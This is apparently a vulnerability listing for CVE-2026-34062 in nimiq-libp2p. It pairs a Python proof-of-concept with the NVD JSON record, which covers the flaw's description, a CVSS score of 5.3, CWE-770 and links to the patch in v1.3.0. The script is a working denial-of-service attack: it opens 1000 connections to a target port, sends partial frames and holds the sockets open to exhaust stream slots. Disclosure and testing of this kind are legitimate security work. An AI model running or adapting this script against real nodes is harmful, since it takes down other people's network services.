CVE-2026-34062

#!/usr/bin/env python3 # PoC for CVE-2026-34062: Nimiq-libp2p Resource Exhaustion # This script simulates a malicious peer sending partial frames to exhaust connection slots. import socket import time TARGET_IP = "127.0.0.1" TARGET_PORT = 8443 # Default libp2p TCP port or specific Nimiq port NUM_CONNECTIONS = 1000 def attack(): print(f"[*] Starting attack on {TARGET_IP}:{TARGET_PORT}") sockets = [] try: for i in range(NUM_CONNECTIONS): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((TARGET_IP, TARGET_PORT)) # Send a partial frame (e.g., just the length prefix or incomplete header) # Assuming a simple framing protocol for demonstration partial_payload = b"\x00\x00\x01" # Incomplete data s.sendall(partial_payload) sockets.append(s) print(f"[+] Connection {i+1} established and partial frame sent") except Exception as e: print(f"[-] Connection {i+1} failed: {e}") print("[*] All connections (or attempts) made. Keeping sockets open to hold slots...") while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Closing connections...") for s in sockets: s.close() if __name__ == "__main__": attack()

{"cve": {"id": "CVE-2026-34062", "sourceIdentifier": "[email protected]", "published": "2026-04-22T20:16:40.530", "lastModified": "2026-04-24T17:11:49.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nimiq-libp2p is a Nimiq network implementation based on libp2p. Prior to version 1.3.0, `MessageCodec::read_request` and `read_response` call `read_to_end()` on inbound substreams, so a remote peer can send only a partial frame and keep the substream open. because `Behaviour::new` also sets `with_max_concurrent_streams(1000)`, the node exposes a much larger stalled-slot budget than the library default. The patch for this vulnerability is formally released as part of v1.3.0. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "CD0CAAD1-7626-4A4A-A6F8-9DC46FE50731"}]}]}], "references": [{"url": "https://github.com/nimiq/core-rs-albatross/commit/c021a5337b808c73571b44999f9753051bac7508", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-gh7r-qh4p-q4fr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}